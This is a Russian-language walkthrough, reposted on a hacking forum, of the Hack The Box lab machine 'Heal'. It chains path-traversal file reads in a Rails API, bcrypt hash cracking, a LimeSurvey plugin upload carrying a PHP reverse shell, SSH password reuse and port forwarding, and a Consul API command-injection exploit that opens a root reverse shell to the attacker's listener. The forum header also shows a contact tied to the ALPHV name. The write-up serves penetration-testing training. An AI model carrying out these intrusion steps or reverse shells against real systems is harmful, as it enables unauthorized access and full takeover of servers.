• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем LFI в проекте Rails

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как эксплуатировать уязвимость локального включения файлов (LFI) в проекте на Ruby on Rails. Также используем RCE-уязвимость в LimeSurvey, а после получения сессии на сервере повысим свои привилегии через баг в API системы Consul.
Наша конечная цель — получение прав суперпользователя на машине Heal с учебной площадки Hack The Box. Уровень сложности задания — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.46 heal.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Nginx 1.18.0.
На SSH делать пока нечего, поэтому начинаем с веб‑сервера.

Главная страница сайта

Точка входа​

На самом сайте ничего интересного не находим. Зато, изучая историю запросов в Burp History, видим обращения к API на домене api.heal.htb.

Запросы в Burp History
Обновляем запись в файле /etc/hosts и просматриваем найденный сайт. Там нас ожидает Rails 7.1.4.

10.10.11.46 heal.htb api.heal.htb
Главная страница api.heal.htb

Теперь, когда api.heal.htb доступен, возвращаемся и регистрируемся на основном сайте. После авторизации получим редирект на страницу /resume, где предлагается отправить персональную информацию.

Содержимое страницы /resume

В меню сайта есть еще две ссылки. Пункт Survey ведет на новый поддомен take-survey.

Переадресация на новый поддомен

Как всегда, обновляем запись в файле /etc/hosts:

10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb
Содержимое страницы

Обратившись к корневому каталогу сайта, мы узнаем, что используется технология LimeSurvey — инструмент с открытым исходным кодом для быстрого создания анкет, голосований и опросов.

Главная страница сайта

Страница авторизации доступна по дефолтному адресу:

index.php/admin/authentication/sa/login
Страница авторизации LimeSurvey

На новом поддомене больше ничего интересного, поэтому возвращаемся на основной сайт и находим внизу страницы Resume кнопку для экспорта в PDF.

Содержимое страницы /resume

Однако на страницу /download отправляется запрос только методом OPTIONS.

Burp History

Перекидываем запрос в Burp Repeater, изменяем метод на GET и из ответа сервера понимаем, что необходимо предоставить аутентификатор.

Запрос в Burp Repeater

Из любого запроса в Burp History копируем токен и повторяем загрузку файла.

Запрос в Burp Repeater

Получаем содержимое файла, а значит, стоит проверить наличие LFI.


Точка опоры​


LFI​

Для теста наличия уязвимости LFI попробуем указать файл /etc/passwd с обходом каталога.

Содержимое файла /etc/passwd
Успешно получаем результат.

Теперь нужно понять, из каких файлов, относящихся к технологии Rails, мы сможем получить что‑нибудь полезное для продвижения. Иногда удобно обратиться за кратким списком таких важных файлов к ChatGPT.

Ответ ChatGPT

Читаем файл config/database.yml и получаем настройки для подключения к базе данных. Там же указан и файл базы данных SQLite: storage/development.sqlite3.

Содержимое файла database.yml

Запрашиваем содержимое файла development.sqlite3 и видим в ответе что‑то похожее на хеш.

Содержимое файла development.sqlite3
Судя по формату хеша, на сервере применяется алгоритм хеширования bcrypt. Для брута используем hashcat с режимом 3200.

hashcat -m 3200 hash.txt ~/tools/wordlists/Passwords/rockyou.txt
Результат подбора пароля

С полученным паролем авторизуемся в системе LimeSurvey как пользователь‑администратор ralph.

Панель администратора LimeSurvey

LimeSurvey RCE​

Внизу страницы мы можем увидеть версию CMS — 6.6.4.

Версия LimeSurvey

Первым делом стоит проверить, есть ли для нее готовые эксплоиты. За этим для начала идем в Google.

Поиск эксплоитов в Google

Третья ссылка Для просмотра ссылки Войди или Зарегистрируйся на GitHub. Там описаны шаги по установке своего плагина, а также даны шаблоны настроек. Откроем файл config.xml и добавим в него информацию о совместимости с версией 6.0.

Содержимое файла config.xml

В файле php-rev.php указываем адрес и порт своего сервера. На том же порте запускаем листенер (pwncat-cs -lp 4321).

Содержимое файла php-rev.php
Когда оба файла готовы, упаковываем их в zip-архив. Это наш плагин, который даст RCE.

zip ralf.zip config.xml php-rev.php
Для установки плагина переходим в «Настройки → Плагины».

Меню LimeSurvey

На странице «Плагины» кликаем на «Загрузить и установить» и указываем созданный архив. Затем нужно подтвердить установку плагина.

Страница «Плагины»

Подтверждение установки плагина

Осталось найти в списке плагинов свой (он будет последним) и активировать его.

Активация плагина

Когда плагин будет активирован, обратимся к нашему реверс‑шеллу:

/upload/plugins/Y1LD1R1M/php-rev.php
И сразу в окне листенера появится сессия www-data.

Сессия www-data

Продвижение​

Так как мы работаем в контексте учетной записи веб‑сервера, а на хосте есть веб‑приложение, мы можем заглянуть в его исходники в поисках учетных данных. Обычно там указаны параметры подключения к базе данных, в том числе логин и пароль. В каталоге Application/config есть файл config.php.

Содержимое каталога config

А в нем — пароль для подключения к СУБД PostgreSQL.

Содержимое файла config.php

Часто один и тот же пароль используют для нескольких сервисов. Пробуем применить найденный пароль для SSH и успешно авторизуемся от имени пользователя ron.

Флаг пользователя

Локальное повышение привилегий​

Мы зашли от имени пользователя, а значит, дальше остается повысить привилегии до рута. В Linux много вещей, которые потенциально могут с этим помочь, и проверять их вручную долго. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем внимательно изучим результаты и поищем среди них потенциально полезную информацию.

В списке работающих процессов есть consul, и на хосте прослушивается порт 8500.

Дерево процессов

Прослушиваемые порты
Так как порт прослушивается для локального хоста, необходимо «прокинуть» порт 8500 на свой хост с помощью SSH.

ssh -L 8500:127.0.0.1:8500 [EMAIL]ron@heal.htb[/EMAIL]
Теперь весь трафик, который мы пошлем на локальный порт 8500, будет туннелирован на порт 8500 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем открыть сайт в браузере и изучить.

Страница Services

На странице отображается версия приложения — 1.19.2. Снова отправляемся в Google в поисках готовых эксплоитов и описаний известных уязвимостей.

Поиск эксплоитов в Google

По первой же ссылке нам доступен Для просмотра ссылки Войди или Зарегистрируйся. Этот скрипт эксплуатирует баг OS Command Injection в Services API Consul. Уязвимость содержится в эндпоинте API /v1/agent/service/register.

Внедряемая команда (в эксплоите это реверс‑шелл) передается в параметре check.Args. Запустим листенер (rlwrap nc -nlvp 4321) и выполним эксплоит. Моментально получаем сессию в контексте пользователя root.

python3 exp.py 127.0.0.1 8500 10.10.16.63 4321 0
Выполнение эксплоита

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here